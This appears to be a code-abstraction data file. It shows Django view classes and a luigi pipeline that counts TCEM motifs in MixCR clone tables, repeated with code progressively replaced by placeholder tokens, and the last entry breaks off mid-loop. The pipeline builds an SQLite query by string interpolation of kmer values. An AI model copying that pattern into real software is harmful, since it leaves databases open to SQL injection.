[ "from django.shortcuts import render, get_object_or_404\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.views.generic import ListView, DetailView\n\nfrom company.models import Profile\nfrom make.models import Make\nfrom series.models import Series\nfrom accessories.models import Accessory\nfrom products.models import Product\nfrom productimages.models import ProductImage\nfrom promos.models import Promo\n\n\nclass IndexPage(DetailView):\n template_name = \"index.html\"\n\n def get_object(self):\n return get_object_or_404(Profile, id=1)\n\n def get_context_data(self, **kwargs):\n context = super(IndexPage, self).get_context_data(**kwargs)\n context['make_list'] = Make.objects.all().order_by('name')\n context['series_list'] = Series.objects.all().order_by('name')\n context['brand_logo'] = self.object.logo\n return context\n", "from django.shortcuts import render, get_object_or_404\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.views.generic import ListView, DetailView\nfrom company.models import Profile\nfrom make.models import Make\nfrom series.models import Series\nfrom accessories.models import Accessory\nfrom products.models import Product\nfrom productimages.models import ProductImage\nfrom promos.models import Promo\n\n\nclass IndexPage(DetailView):\n template_name = 'index.html'\n\n def get_object(self):\n return get_object_or_404(Profile, id=1)\n\n def get_context_data(self, **kwargs):\n context = super(IndexPage, self).get_context_data(**kwargs)\n context['make_list'] = Make.objects.all().order_by('name')\n context['series_list'] = Series.objects.all().order_by('name')\n context['brand_logo'] = self.object.logo\n return context\n", "<import token>\n\n\nclass IndexPage(DetailView):\n template_name = 'index.html'\n\n def get_object(self):\n return get_object_or_404(Profile, id=1)\n\n def get_context_data(self, **kwargs):\n context = super(IndexPage, self).get_context_data(**kwargs)\n context['make_list'] = Make.objects.all().order_by('name')\n context['series_list'] = Series.objects.all().order_by('name')\n context['brand_logo'] = self.object.logo\n return context\n", "<import token>\n\n\nclass IndexPage(DetailView):\n <assignment token>\n\n def get_object(self):\n return get_object_or_404(Profile, id=1)\n\n def get_context_data(self, **kwargs):\n context = super(IndexPage, self).get_context_data(**kwargs)\n context['make_list'] = Make.objects.all().order_by('name')\n context['series_list'] = Series.objects.all().order_by('name')\n context['brand_logo'] = self.object.logo\n return context\n", "<import token>\n\n\nclass IndexPage(DetailView):\n <assignment token>\n <function token>\n\n def get_context_data(self, **kwargs):\n context = super(IndexPage, self).get_context_data(**kwargs)\n context['make_list'] = Make.objects.all().order_by('name')\n context['series_list'] = Series.objects.all().order_by('name')\n context['brand_logo'] = self.object.logo\n return context\n", "<import token>\n\n\nclass IndexPage(DetailView):\n <assignment token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]

[ "from django.views.generic import TemplateView, DetailView\nfrom django.contrib.auth.models import User\n\n\nclass IndexView(TemplateView):\n template_name = \"transcendence/index.html\"\n\n\nclass UserInfoView(DetailView):\n template_name = \"transcendence/user_info.html\"\n model = User\n pk_url_kwarg = 'user_id'\n", "from django.views.generic import TemplateView, DetailView\nfrom django.contrib.auth.models import User\n\n\nclass IndexView(TemplateView):\n template_name = 'transcendence/index.html'\n\n\nclass UserInfoView(DetailView):\n template_name = 'transcendence/user_info.html'\n model = User\n pk_url_kwarg = 'user_id'\n", "<import token>\n\n\nclass IndexView(TemplateView):\n template_name = 'transcendence/index.html'\n\n\nclass UserInfoView(DetailView):\n template_name = 'transcendence/user_info.html'\n model = User\n pk_url_kwarg = 'user_id'\n", "<import token>\n\n\nclass IndexView(TemplateView):\n <assignment token>\n\n\nclass UserInfoView(DetailView):\n template_name = 'transcendence/user_info.html'\n model = User\n pk_url_kwarg = 'user_id'\n", "<import token>\n<class token>\n\n\nclass UserInfoView(DetailView):\n template_name = 'transcendence/user_info.html'\n model = User\n pk_url_kwarg = 'user_id'\n", "<import token>\n<class token>\n\n\nclass UserInfoView(DetailView):\n <assignment token>\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n<class token>\n" ]

[ "\nimport luigi\nimport logging\nimport subprocess\nimport logging\nimport pandas as pd\nimport sqlite3\nfrom os.path import join, dirname, basename\n\nfrom .mixcr import MixcrClones\nfrom .tcem_aa_db import TcemNrAaDb\n\nfrom ....pipeline.utils.cap_task import CapTask\nfrom ....pipeline.config import PipelineConfig\n\n\nlogger = logging.getLogger('tcems')\n\n\ndef countit(objs):\n \"\"\"Return a dict with counts for each item in a list.\"\"\"\n out = {}\n for el in objs:\n out[el] = 1 + out.get(el, 0)\n out = {k: v for k, v in out.items()}\n return out\n\n\ndef get_binding_motifs(seq):\n \"\"\"Return a dict of dicts with counts for different TCEM motifs.\"\"\"\n out = {'type_1': [], 'type_2a': [], 'type_2b': []}\n for i in range(len(seq) - 9 + 1):\n kmer = seq[i:i + 9]\n out['type_1'].append(kmer[3:8])\n for i in range(len(seq) - 15 + 1):\n kmer = seq[i:i + 15]\n tail = kmer[5] + kmer[7] + kmer[9] + kmer[10]\n out['type_2a'].append(kmer[4] + tail)\n out['type_2b'].append(kmer[2] + tail)\n counted = {k: countit(v) for k, v in out.items()}\n return counted\n\n\ndef parse_mixcr_table(filepath):\n \"\"\"Return counts of TCEMs for a set of CDR3 sequences.\"\"\"\n tbl = pd.read_csv(filepath, sep='\\t')\n out = {}\n for _, row in tbl.iterrows():\n motifs = get_binding_motifs(row['aaSeqImputedCDR3'])\n for kind, motif_counts in motifs.items():\n for motif, count in motif_counts.items():\n for mykind in [kind, 'all_types']:\n key = (mykind, motif)\n if key not in out:\n out[key] = {\n 'num_unique_seqs': 0,\n 'num_clones': 0,\n 'num_unique_occurences': 0,\n 'num_clonal_occurences': 0,\n }\n out[key]['num_unique_seqs'] += 1\n out[key]['num_clones'] += row['cloneCount']\n out[key]['num_unique_occurences'] += count\n out[key]['num_clonal_occurences'] += count * row['cloneCount']\n return out\n\n\nclass TcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {\n 'tcem_counts': self.get_target(f'tcem_repertoire', 'csv'),\n }\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {\n 'tcem_annotations': self.get_target(f'annotated_tcem_repertoire', 'csv'),\n }\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "import luigi\nimport logging\nimport subprocess\nimport logging\nimport pandas as pd\nimport sqlite3\nfrom os.path import join, dirname, basename\nfrom .mixcr import MixcrClones\nfrom .tcem_aa_db import TcemNrAaDb\nfrom ....pipeline.utils.cap_task import CapTask\nfrom ....pipeline.config import PipelineConfig\nlogger = logging.getLogger('tcems')\n\n\ndef countit(objs):\n \"\"\"Return a dict with counts for each item in a list.\"\"\"\n out = {}\n for el in objs:\n out[el] = 1 + out.get(el, 0)\n out = {k: v for k, v in out.items()}\n return out\n\n\ndef get_binding_motifs(seq):\n \"\"\"Return a dict of dicts with counts for different TCEM motifs.\"\"\"\n out = {'type_1': [], 'type_2a': [], 'type_2b': []}\n for i in range(len(seq) - 9 + 1):\n kmer = seq[i:i + 9]\n out['type_1'].append(kmer[3:8])\n for i in range(len(seq) - 15 + 1):\n kmer = seq[i:i + 15]\n tail = kmer[5] + kmer[7] + kmer[9] + kmer[10]\n out['type_2a'].append(kmer[4] + tail)\n out['type_2b'].append(kmer[2] + tail)\n counted = {k: countit(v) for k, v in out.items()}\n return counted\n\n\ndef parse_mixcr_table(filepath):\n \"\"\"Return counts of TCEMs for a set of CDR3 sequences.\"\"\"\n tbl = pd.read_csv(filepath, sep='\\t')\n out = {}\n for _, row in tbl.iterrows():\n motifs = get_binding_motifs(row['aaSeqImputedCDR3'])\n for kind, motif_counts in motifs.items():\n for motif, count in motif_counts.items():\n for mykind in [kind, 'all_types']:\n key = mykind, motif\n if key not in out:\n out[key] = {'num_unique_seqs': 0, 'num_clones': 0,\n 'num_unique_occurences': 0,\n 'num_clonal_occurences': 0}\n out[key]['num_unique_seqs'] += 1\n out[key]['num_clones'] += row['cloneCount']\n out[key]['num_unique_occurences'] += count\n out[key]['num_clonal_occurences'] += count * row[\n 'cloneCount']\n return out\n\n\nclass TcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\nlogger = logging.getLogger('tcems')\n\n\ndef countit(objs):\n \"\"\"Return a dict with counts for each item in a list.\"\"\"\n out = {}\n for el in objs:\n out[el] = 1 + out.get(el, 0)\n out = {k: v for k, v in out.items()}\n return out\n\n\ndef get_binding_motifs(seq):\n \"\"\"Return a dict of dicts with counts for different TCEM motifs.\"\"\"\n out = {'type_1': [], 'type_2a': [], 'type_2b': []}\n for i in range(len(seq) - 9 + 1):\n kmer = seq[i:i + 9]\n out['type_1'].append(kmer[3:8])\n for i in range(len(seq) - 15 + 1):\n kmer = seq[i:i + 15]\n tail = kmer[5] + kmer[7] + kmer[9] + kmer[10]\n out['type_2a'].append(kmer[4] + tail)\n out['type_2b'].append(kmer[2] + tail)\n counted = {k: countit(v) for k, v in out.items()}\n return counted\n\n\ndef parse_mixcr_table(filepath):\n \"\"\"Return counts of TCEMs for a set of CDR3 sequences.\"\"\"\n tbl = pd.read_csv(filepath, sep='\\t')\n out = {}\n for _, row in tbl.iterrows():\n motifs = get_binding_motifs(row['aaSeqImputedCDR3'])\n for kind, motif_counts in motifs.items():\n for motif, count in motif_counts.items():\n for mykind in [kind, 'all_types']:\n key = mykind, motif\n if key not in out:\n out[key] = {'num_unique_seqs': 0, 'num_clones': 0,\n 'num_unique_occurences': 0,\n 'num_clonal_occurences': 0}\n out[key]['num_unique_seqs'] += 1\n out[key]['num_clones'] += row['cloneCount']\n out[key]['num_unique_occurences'] += count\n out[key]['num_clonal_occurences'] += count * row[\n 'cloneCount']\n return out\n\n\nclass TcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n\n\ndef countit(objs):\n \"\"\"Return a dict with counts for each item in a list.\"\"\"\n out = {}\n for el in objs:\n out[el] = 1 + out.get(el, 0)\n out = {k: v for k, v in out.items()}\n return out\n\n\ndef get_binding_motifs(seq):\n \"\"\"Return a dict of dicts with counts for different TCEM motifs.\"\"\"\n out = {'type_1': [], 'type_2a': [], 'type_2b': []}\n for i in range(len(seq) - 9 + 1):\n kmer = seq[i:i + 9]\n out['type_1'].append(kmer[3:8])\n for i in range(len(seq) - 15 + 1):\n kmer = seq[i:i + 15]\n tail = kmer[5] + kmer[7] + kmer[9] + kmer[10]\n out['type_2a'].append(kmer[4] + tail)\n out['type_2b'].append(kmer[2] + tail)\n counted = {k: countit(v) for k, v in out.items()}\n return counted\n\n\ndef parse_mixcr_table(filepath):\n \"\"\"Return counts of TCEMs for a set of CDR3 sequences.\"\"\"\n tbl = pd.read_csv(filepath, sep='\\t')\n out = {}\n for _, row in tbl.iterrows():\n motifs = get_binding_motifs(row['aaSeqImputedCDR3'])\n for kind, motif_counts in motifs.items():\n for motif, count in motif_counts.items():\n for mykind in [kind, 'all_types']:\n key = mykind, motif\n if key not in out:\n out[key] = {'num_unique_seqs': 0, 'num_clones': 0,\n 'num_unique_occurences': 0,\n 'num_clonal_occurences': 0}\n out[key]['num_unique_seqs'] += 1\n out[key]['num_clones'] += row['cloneCount']\n out[key]['num_unique_occurences'] += count\n out[key]['num_clonal_occurences'] += count * row[\n 'cloneCount']\n return out\n\n\nclass TcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n\n\ndef countit(objs):\n \"\"\"Return a dict with counts for each item in a list.\"\"\"\n out = {}\n for el in objs:\n out[el] = 1 + out.get(el, 0)\n out = {k: v for k, v in out.items()}\n return out\n\n\n<function token>\n\n\ndef parse_mixcr_table(filepath):\n \"\"\"Return counts of TCEMs for a set of CDR3 sequences.\"\"\"\n tbl = pd.read_csv(filepath, sep='\\t')\n out = {}\n for _, row in tbl.iterrows():\n motifs = get_binding_motifs(row['aaSeqImputedCDR3'])\n for kind, motif_counts in motifs.items():\n for motif, count in motif_counts.items():\n for mykind in [kind, 'all_types']:\n key = mykind, motif\n if key not in out:\n out[key] = {'num_unique_seqs': 0, 'num_clones': 0,\n 'num_unique_occurences': 0,\n 'num_clonal_occurences': 0}\n out[key]['num_unique_seqs'] += 1\n out[key]['num_clones'] += row['cloneCount']\n out[key]['num_unique_occurences'] += count\n out[key]['num_clonal_occurences'] += count * row[\n 'cloneCount']\n return out\n\n\nclass TcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n\n\ndef countit(objs):\n \"\"\"Return a dict with counts for each item in a list.\"\"\"\n out = {}\n for el in objs:\n out[el] = 1 + out.get(el, 0)\n out = {k: v for k, v in out.items()}\n return out\n\n\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.mixcr = MixcrClones.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in 